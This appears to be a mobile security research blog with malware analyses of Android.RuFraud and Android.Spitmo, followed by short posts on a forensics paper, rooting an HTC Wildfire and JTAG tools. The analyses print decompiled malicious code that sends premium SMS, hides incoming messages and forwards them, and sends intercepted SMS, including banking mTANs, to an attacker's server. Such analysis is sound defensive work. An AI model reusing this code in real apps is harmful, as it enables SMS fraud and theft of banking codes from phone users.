Detailed Analysis of Android.RuFraud

Intro: What is Android.RuFraud?

SuiConFo.apk is an application which sends premium rated SMS messages. This is the first malicious app of this kind which was specially build for European countries (Germany, Luxembourgs, France, Belgium, Switzerland, Spain and Great Britain) and Canada but not for the Chinese market. In the last few days many similar apps showed up in the official Google market which had been summed up under RuFraud.

Analysis of the Application and Its Structure

The app requests the following permissions, although if it is using only very few of them:

  • android.permission.SEND_SMS
  • android.permission.INSTALL_PACKAGES
  • android.permission.USE_CREDENTIALS
  • android.permission.BLUETOOTH_ADMIN
  • android.permission.INTERNET
  • android.permission.DEVICE_POWER
  • android.permission.READ_CONTACTS
  • android.permission.RECEIVE_SMS
  • android.permission.ACCESS_GPS
  • android.permission.ACCESS_LOCATION

It consists of the following two main classes which will be analyzed in detail afterwards:

  • MagicSMSActivity
  • SMSReceiver

When the app has been installed successfully, the standard icon shows up in the dashboard (see left part of the picture). After opening the application, a pop-up message is displayed, including the following text: “ERROR: Android version is not compatible” (see right part of the picture). For the user it seems, that this app isn’t working on his/her smartphone. In reality, the app sends four premium-rated SMS messages in the background.

Analysis of MagicSMSActivity

This class is responsible for sending the paid SMS messages to predefined numbers. As you can see in the following code snippet, the app tries to get the Country-ID from the SIM:

String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso();

Afterwards it checks if this Country-ID is included in its list of services:

if (str1.equals("ch")){
        str2 = "543";
        str3 = "GEHEN SP 300";
        continue;
}
if (str1.equals("lu")){
        str2 = "64747";
        str3 = "ACCESS SP";
        continue;
}
if (str1.equals("de")){
        str2 = "63000";
        str3 = "SP 462";
        continue;
}

Afterwards the malicious application sends four SMS messages to the phone number specified in str2 with the message stored at str3:

localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);

For Germany, these SMS will be sent to the Net Mobile AG which is well known for premium-rated SMS services. The price for one SMS ranges between 0,29€ and 1,99€.

Analysis of SMSReceiver

This class implements an Android.Receiver which is able to receive incoming SMS messages before the build-in SMS application receives them.

In this case the app is checking if the message comes from one of the stored numbers (the list of numbers is identical to the numbers, the app sends messages to). If this is the case, the message gets forwarded to a specified number (0646112264) and the broadcast of this message is aborted so that the build-in application (as well as the user) do not notice this message. This can be seen in the following code snippet:

String str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((!str2.equals("81001")) && (!str2.equals("35064")) && (!str2.equals("63000")) && (!str2.equals("9903")) && (!str2.equals("60999")) && (!str2.equals("543")) && (!str2.equals("64747")))
abortBroadcast();
SmsManager.getDefault().sendTextMessage("0646112264", null, str1, null, null);

Sample Information:

sha256:
98a402d885cdb941dca8b45a4bbcbbe7f44ba62910d519bc1c2161dba117ebd2

md5:
1a3fb120e5a4bd51cb999a43e2d06d88

Mobile-Sandbox Report

Detailed Analysis of Android.Spitmo

Intro: What is Android.Spitmo?

Android.Spitmo is the mobile “add-on” for SpyEye. Infected with this combination of malware, the attacker is able to modify banking orders made by the victim, even if they are secured by mTan.

Step 1: Forcing the User to Install the App

If the machine of a user is compromised with SpyEye and the user tries to browse to his bank website a message is shown presenting a new security solution which is now obligatory in order to use the online banking service in the future. The new solution pretends to be an Android application that protects the phone’s SMS messages from being intercepted by a Trojan installed on the smartphone. The user is then directed to a download page.

After the user has downloaded and installed the app on his Android smartphone, nothing seems to happen at a first glance. There is no new icon on the dashboard, no new running service or running application as you can see in the following screenshot.

After a bit of search, the user is able to find an application called “System” (the malware application). If taking a look at it, you can see that the app has the permissions to access your SMS messages, intercept phone calls and communicate over the Internet:

To complete the installation, the user has to call the number “325000”. The call is intercepted by the malware and an activation code is presented on the home screen to be submitted to the bank’s website afterwards:

The de-compiled code of this action can be seen here:

if (intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL") && intent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))
{
    Toast.makeText(context1, "251340", 0).show();
    set ResultData(null);
}

Step 2: The Trojan Action

After the Trojan has been installed successfully, all incoming SMS messages will be intercepted and send to the attacker’s server.

The de-compiled code below creates a string (?sender=[SenderAddress]&receiver=[ReciverAddress]&text=[Message]”) and is called every time a SMS message is received:

String s3 = (String) ((Iterator) (obj)).next();
Boolean boo1;
String s4 = String.valueOf(s3);
StringBuilder stringbuilder = (new StringBuilder(s4)).append("?sender=");
String s5 = URLEncoder.encode(as[0]);
StringBuilder stringbuilder1 = (new StringBuilder(s5)).append("&receiver=");
String s6 = URLEncoder.encode(as[1]);
StringBuilder stringbuilder2 = (new StringBuilder(s5)).append("&text=");
String s7 = URLEncoder.encode(as[2]);
String s8 = stringbuilder2.append(s7).toString();
java.io.InputStream inputstream = (new URL(s8)).openConnection().getInputStream();
InputStreamReader inputstreamreader = new InputStreamReader(inputstream);
BufferedReader bufferedreader = new BufferedReader(inputstreamreader);
String s9 = bufferedreader.readLine();
bufferedreader.close();
bool1 = Boolean.valueOf(true);
obj = bool1;

As implied from the structure of this string, it will be appended to a HTTP request, to be sent to the attacker’s website afterwards. The application package consists of another file called “settings.xml” inside the “asset” directory, which contains the configuration data (as can be seen in the following code snippet):

...








...

As far as we know, there are 3 cases for “send value” (1 = HTTP; 2 = SMS & HTTP; any other = SMS). The phone number, the SMS messages get forwarded to, is stored in “telephone value”.

Step 3: The Attacker’s Website

The attacker’s website consist of the following 4 files and a mySQL database:

  • config.php (configuration for mySQL access)
  • gate.php (receives the HTTP requests from the malware and populates the database)
  • json.php (responsible for DB queries)
  • index.html (displays the database entries)

Sample Information:

sha256:
ba1aa326ca5b79e79feba9bbfe85f238b63c317d9329f1f7c28d54fe905353b9

md5:
cfa9edb8c9648ae2757a85e6066f6515

Mobile-Sandbox Report

Paper accepted!

Today, we got the great message that our paper “Forensic Acquisition of Location Data on Android Smartphones” had been accepted for the Eighth Annual IFIP WG 11.9 International Conference on Digital Forensics in South Africa. We are really looking forward to participate.

For all of you, who can’t wait until January, here is the abstract of our work:

It is now well-known that, for various reasons, smartphone operating systems persistently store location information in their local storage. Less well-known is probably that also various network applications (apps) do this too. In this paper we present a system with which all this information can be extracted and visualized at the same time. Our system is based on the forensic data extraction tool ADEL. During our evaluation we found that in contrast to data retained by the network operator, location data stored on the mobile device in many cases offers much more precise information than the rather coarse-grained data from the network operator. However, the availability of data shows a much higher variability on the mobile phone than at the network operator.

How to root a HTC Wildfire

The following steps will void the warranty of the device and there is no guaranty that it will work on your device!

  • First of all you will need to know what version of HBOOT the device is using and the serial number of it
  • If HBOOT is not 1.01.0001 you have to downgrade to HTC Froyo WWE for Revolutionary
  • Download & install the HTC Sync drivers
  • Make sure USB debugging is enabled on the device
  • Download Revolutionary 0.4pre4
  • Connect the HTC Wildfire to the computer via USB
  • Launch the Revolutionary software and enter in the beta key you got from the revolutionary website
  • Revolutionary will now root the device, set S-OFF and install clockwork recovery. The device will reboot on its own afterwards
  • Now you can flash a custom ROM with the help of clockwork recovery

If all these steps are finished successfully you are root and, if you have flashed a new custom ROM, you are running a newer version of Android.

Android devices and JTAG

Today I got some new toys to improve the forensic investigation process on smartphones. These tools allow to connect directly to the JTAG interface on the smartphone and so it should be possible to get a real dump of the memory.

I’m really excited how this works out 🙂